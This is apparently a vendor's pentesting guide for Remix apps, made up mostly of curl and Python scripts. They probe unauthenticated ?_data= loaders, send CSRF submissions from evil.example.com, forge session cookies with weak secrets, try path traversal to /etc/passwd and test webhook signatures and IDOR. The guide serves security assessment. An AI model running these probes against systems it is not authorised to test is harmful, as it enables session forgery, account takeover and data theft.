Remix Security Testing: Loader/Action Authentication, Session Management, CSRF

Remix (now React Router v7) has a fundamentally different server/client model that creates distinct security risks. Core risks: Remix exposes every route's loader data via the ?_data= query parameter as JSON — if a loader doesn't check authentication, its data is directly accessible as a JSON API endpoint; action functions accept form submissions without CSRF protection unless explicitly implemented; createCookieSessionStorage is insecure by default if the cookie secret is weak or the httpOnly/secure flags are omitted; and resource routes (routes that return non-HTML responses) often lack the same authentication checks as page routes. This guide covers systematic Remix security assessment.

Table of Contents

  1. Loader Function Authentication and ?_data= JSON Endpoint Exposure
  2. Action Function CSRF and Form Submission Security
  3. createCookieSessionStorage Security and Cookie Hardening
  4. Resource Route Authentication Bypass
  5. Remix Security Hardening

Loader Function Authentication and ?_data= JSON Endpoint Exposure

# Remix loader function authentication — ?_data= JSON endpoint exposure
TARGET="https://your-remix-app.example.com"

# Remix exposes every route's loader() return value as a JSON endpoint
# by appending ?_data=routes/route-name to the URL.
# This allows Remix's client-side navigation to fetch data without full page loads.
# However, if a loader() doesn't check authentication, anyone can hit ?_data= directly.

# Step 1: Enumerate Remix data endpoints via ?_data= parameter
# Remix route names follow the file-based routing convention
REMIX_ROUTES=(
  "routes/_index"
  "routes/dashboard"
  "routes/dashboard._index"
  "routes/users"
  "routes/users._index"
  "routes/profile"
  "routes/admin"
  "routes/admin._index"
  "routes/admin.users"
  "routes/settings"
  "routes/api.users"
  "routes/api.data"
)

for ROUTE in "${REMIX_ROUTES[@]}"; do
  URL="${TARGET}/?_data=${ROUTE}"
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${URL}" 2>/dev/null)
  if [[ "$STATUS" =~ ^(200|201)$ ]]; then
    echo "[OPEN DATA] ${ROUTE}: HTTP ${STATUS}"
    curl -s "${URL}" 2>/dev/null | \
      python3 -c "import sys,json; d=json.load(sys.stdin); print(str(d)[:300])" 2>/dev/null
  fi
done

# Step 2: Test ?_data= on authenticated routes without session cookie
# A vulnerable loader:
# export async function loader({ request }: LoaderFunctionArgs) {
#   const users = await db.user.findMany();  // BUG: no auth check
#   return json({ users });
# }
#
# Safe loader:
# export async function loader({ request }: LoaderFunctionArgs) {
#   const session = await getSession(request.headers.get("Cookie"));
#   if (!session.get("userId")) throw redirect("/login");
#   const users = await db.user.findMany({ where: { id: session.get("userId") } });
#   return json({ users });
# }

curl -s "${TARGET}/dashboard?_data=routes/dashboard" 2>/dev/null | \
  python3 -c "import sys,json; print(str(json.load(sys.stdin))[:400])" 2>/dev/null

curl -s "${TARGET}/admin?_data=routes/admin" 2>/dev/null | \
  python3 -c "import sys,json; print(str(json.load(sys.stdin))[:400])" 2>/dev/null

# Step 3: Test nested route data endpoints
# Remix's nested routing means parent layouts also have ?_data= endpoints
for LAYOUT in "routes/__auth" "routes/__admin" "routes/_layout" "routes/_app" "routes/(app)"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${TARGET}/?_data=${LAYOUT}" 2>/dev/null)
  [ "$STATUS" = "200" ] && echo "[LAYOUT DATA] ${LAYOUT}: ${STATUS}"
done

# Step 4: Check Remix defer() streams — deferred data may bypass auth
# Remix's defer() returns a DeferredData response that streams data
# If the deferred promise resolves user data without auth, it's accessible
curl -s -H "Accept: text/x-component" \
  "${TARGET}/dashboard?_data=routes/dashboard" 2>/dev/null | head -c 500

# Step 5: Remix splat routes — test wildcard route data
for SPLAT in "routes/$.json" "routes/_" "routes/(*)" "routes/$"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${TARGET}/anything?_data=${SPLAT}" 2>/dev/null)
  [ "$STATUS" = "200" ] && echo "[SPLAT] ${SPLAT}: ${STATUS}"
done

Action Function CSRF and Form Submission Security

# Remix action function CSRF and form submission security testing
TARGET="https://your-remix-app.example.com"

# Remix does NOT include built-in CSRF protection.
# Action functions receive form submissions from the browser.
# Cross-site form submissions are possible unless the app implements
# its own CSRF token validation (e.g., using remix-utils csrf helpers).

SESSION="your-session-cookie-value"

# Step 1: Test CSRF — submit action from different Origin without token
curl -s -X POST "${TARGET}/settings" \
  -H "Cookie: __session=${SESSION}" \
  -H "Origin: https://evil.example.com" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "_action=update&email=attacker@evil.com" \
  -w "\nHTTP Status: %{http_code}\n" 2>/dev/null

# Step 2: Enumerate Remix action names via _action parameter
# Remix uses _action in form data to route within a single action function
for ACTION_NAME in "update" "delete" "create" "save" "submit" "invite" "reset" "disable" "enable" "promote"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${TARGET}/dashboard" \
    -H "Cookie: __session=${SESSION}" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "_action=${ACTION_NAME}&confirm=true" 2>/dev/null)
  echo "POST /dashboard _action=${ACTION_NAME}: ${STATUS}"
done

# Step 3: Test action without Content-Type (Remix accepts URLSearchParams and FormData)
# Remix actions receive FormData by default
curl -s -X POST "${TARGET}/account/delete" \
  -H "Cookie: __session=${SESSION}" \
  -d "confirm=yes" \
  -w "\nHTTP Status: %{http_code}\n" 2>/dev/null

# Step 4: Test action with JSON body (Remix v2+ supports json content type)
curl -s -X POST "${TARGET}/api/users" \
  -H "Cookie: __session=${SESSION}" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin"}' \
  -w "\nHTTP Status: %{http_code}\n" 2>/dev/null

# Step 5: Check for CSRF token presence in forms
# If the app uses remix-utils or custom CSRF, check if the token is validated
curl -s "${TARGET}/settings" \
  -H "Cookie: __session=${SESSION}" 2>/dev/null | \
  grep -i "csrf\|_csrf\|authenticity_token\|csrf-token" | head -5

# Step 6: Test upload action size limit bypass (Remix uses formData parsing)
# Large form data uploads may bypass file size validation
curl -s -X POST "${TARGET}/upload" \
  -H "Cookie: __session=${SESSION}" \
  -F "file=@/dev/urandom;filename=payload.php;type=application/x-php" \
  -w "\nHTTP Status: %{http_code}\n" 2>/dev/null

createCookieSessionStorage Security and Cookie Hardening

# Remix createCookieSessionStorage security testing
TARGET="https://your-remix-app.example.com"

# Remix's recommended session storage uses createCookieSessionStorage().
# The session data is signed with a secret and stored in a cookie.
# Common misconfigurations:
# 1. Weak or guessable SESSION_SECRET (less than 32 bytes)
# 2. Missing httpOnly flag (allows JavaScript to read the session cookie)
# 3. Missing secure flag (session cookie sent over HTTP)
# 4. Missing sameSite: "lax" or "strict" (enables CSRF via cross-site requests)
# 5. Using the same secret across environments

# Step 1: Inspect session cookie attributes
curl -s -v "${TARGET}/login" \
  -X POST \
  -d "email=test@test.com&password=test123" 2>&1 | \
  grep -i "set-cookie"
# Check for: httponly, secure, samesite attributes on __session cookie

# Expected secure configuration:
# Set-Cookie: __session=; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=3600

# Step 2: Test session cookie without Secure flag — sent over HTTP
curl -s "http://${TARGET#https://}/dashboard" \
  -H "Cookie: __session=test" 2>/dev/null | head -c 200

# Step 3: Try to forge a session with known weak secrets
# createCookieSessionStorage signs data with HMAC-SHA256
# If SESSION_SECRET is weak (e.g., "secret", "remix", "changeme"), it's crackable

python3 -c "
import hmac, hashlib, base64, json, time

def try_forge_session(secret, user_data):
    payload = json.dumps(user_data).encode()
    signature = hmac.new(secret.encode(), payload, hashlib.sha256).digest()
    cookie_value = base64.urlsafe_b64encode(payload).rstrip(b'=').decode() + \
                   '.' + base64.urlsafe_b64encode(signature).rstrip(b'=').decode()
    return cookie_value

weak_secrets = ['secret', 'remix', 'changeme', 'development', 'SESSION_SECRET',
                'password', '12345678', 'supersecret', 'remix-session']
admin_data = {'userId': '1', 'role': 'admin', 'exp': int(time.time()) + 3600}

for secret in weak_secrets:
    forged = try_forge_session(secret, admin_data)
    print(f'SECRET={secret}: {forged[:80]}')
" 2>/dev/null

# Step 4: Test forged session cookies
SESSION_COOKIE="paste-forged-cookie-here"
curl -s "${TARGET}/admin" \
  -H "Cookie: __session=${SESSION_COOKIE}" \
  -w "\nHTTP Status: %{http_code}\n" 2>/dev/null | head -c 300

# Step 5: Check session fixation — server accepts client-provided session ID
# If the app allows the session ID to be set by the client before login
curl -s -X POST "${TARGET}/login" \
  -H "Cookie: __session=attacker-controlled-session-id" \
  -d "email=victim@example.com&password=correct_password" \
  -D - 2>/dev/null | grep -i "set-cookie"

# If the response doesn't issue a new __session cookie, the old one is reused — fixation

# Step 6: Check cookie scope — path and domain restrictions
curl -s -v "${TARGET}/" 2>&1 | grep -i "set-cookie" | head -5
# Warning if cookie has Domain=.example.com (scope too broad)
# Warning if no Path= attribute (defaults to /, acceptable) or Path=/specific (too narrow)

Resource Route Authentication Bypass

# Remix resource route authentication bypass testing
TARGET="https://your-remix-app.example.com"

# Remix resource routes are routes that return non-HTML responses (JSON, PDF, CSV, etc.)
# They're defined as route files with only a loader() or action() function.
# Resource routes are commonly used for: file downloads, API endpoints, webhooks,
# image serving, and data exports.
# Unlike page routes, resource routes often lack consistent authentication checks.

# Step 1: Enumerate common resource route patterns
RESOURCE_ROUTES=(
  "/api/users.json"
  "/api/users/export"
  "/api/export"
  "/api/download"
  "/resources/users"
  "/resources/export"
  "/admin/export"
  "/admin/users.csv"
  "/reports/download"
  "/data/export.json"
  "/api/webhook"
  "/api/health.json"
)

for ROUTE in "${RESOURCE_ROUTES[@]}"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${TARGET}${ROUTE}" 2>/dev/null)
  if [[ "$STATUS" =~ ^(200|206)$ ]]; then
    echo "[OPEN] ${ROUTE}: HTTP ${STATUS}"
    CONTENT_TYPE=$(curl -s -o /dev/null -w "%{content_type}" "${TARGET}${ROUTE}" 2>/dev/null)
    echo "  Content-Type: ${CONTENT_TYPE}"
    curl -s "${TARGET}${ROUTE}" 2>/dev/null | head -c 300
  fi
done

# Step 2: Test resource routes with ?_data= (Remix also applies ?_data= to resource routes)
for ROUTE in "routes/api.users" "routes/api.export" "routes/resources.download"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${TARGET}/?_data=${ROUTE}" 2>/dev/null)
  [ "$STATUS" = "200" ] && echo "[RESOURCE DATA] ${ROUTE}: ${STATUS}"
done

# Step 3: Test file serving resource routes for path traversal
SESSION="your-session-token"
for PATH_TRAVERSAL in \
  "/../../../etc/passwd" \
  "/%2F..%2F..%2Fetc%2Fpasswd" \
  "/..%2F..%2Fetc%2Fpasswd" \
  "/%252F..%252F..%252Fetc%252Fpasswd"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${TARGET}/files${PATH_TRAVERSAL}" \
    -H "Cookie: __session=${SESSION}" 2>/dev/null)
  echo "Path traversal ${PATH_TRAVERSAL}: ${STATUS}"
done

# Step 4: Test webhook resource routes — signature validation
# Remix webhook handlers often forget to validate the webhook signature
curl -s -X POST "${TARGET}/api/webhooks/stripe" \
  -H "Content-Type: application/json" \
  -H "Stripe-Signature: invalid-signature" \
  -d '{"type":"payment_intent.succeeded","data":{"object":{"amount":0}}}' \
  -w "\nHTTP Status: %{http_code}\n" 2>/dev/null

# Step 5: Test authorization in resource routes — access other users' files
SESSION_A="session-token-for-user-a"
# Access user A's own resource
curl -s "${TARGET}/resources/download/user-a-file-id" \
  -H "Cookie: __session=${SESSION_A}" 2>/dev/null | head -c 200

# Try to access another user's resource (horizontal privilege escalation)
for FILE_ID in 1 2 3 4 5; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${TARGET}/resources/download/${FILE_ID}" \
    -H "Cookie: __session=${SESSION_A}" 2>/dev/null)
  echo "Resource /download/${FILE_ID} as user A: ${STATUS}"
done

Remix Security Hardening

Remix Security Hardening Checklist:
Security TestMethodRisk
Unauthenticated loader via ?_data= JSON endpointGET /dashboard?_data=routes/dashboard without session cookie — loader data returned as JSON if auth not checkedCritical
Action CSRF — cross-site form submissionPOST /settings with Origin: https://evil.com — accepted if no CSRF token validation in action()High
Weak SESSION_SECRET — session forgeryHMAC-SHA256 brute-force of cookie signature with common weak secrets — forge admin session cookieHigh
Resource route authentication bypassGET /api/export or /resources/download without session — data returned if resource route lacks auth checkHigh
Session cookie without HttpOnly/Secure/SameSiteInspect Set-Cookie header — missing flags enable XSS session theft or cross-site request forgeryHigh

Automate Remix Security Testing

Ironimo tests Remix applications for unauthenticated loader data exposure via ?_data= JSON endpoint enumeration, action function CSRF bypass via cross-site form submission, weak createCookieSessionStorage SESSION_SECRET brute-force and session forgery, resource route authentication bypass for file downloads and data exports, webhook signature validation bypass, horizontal privilege escalation in user-scoped resource routes, and session cookie attribute security assessment.

Start free scan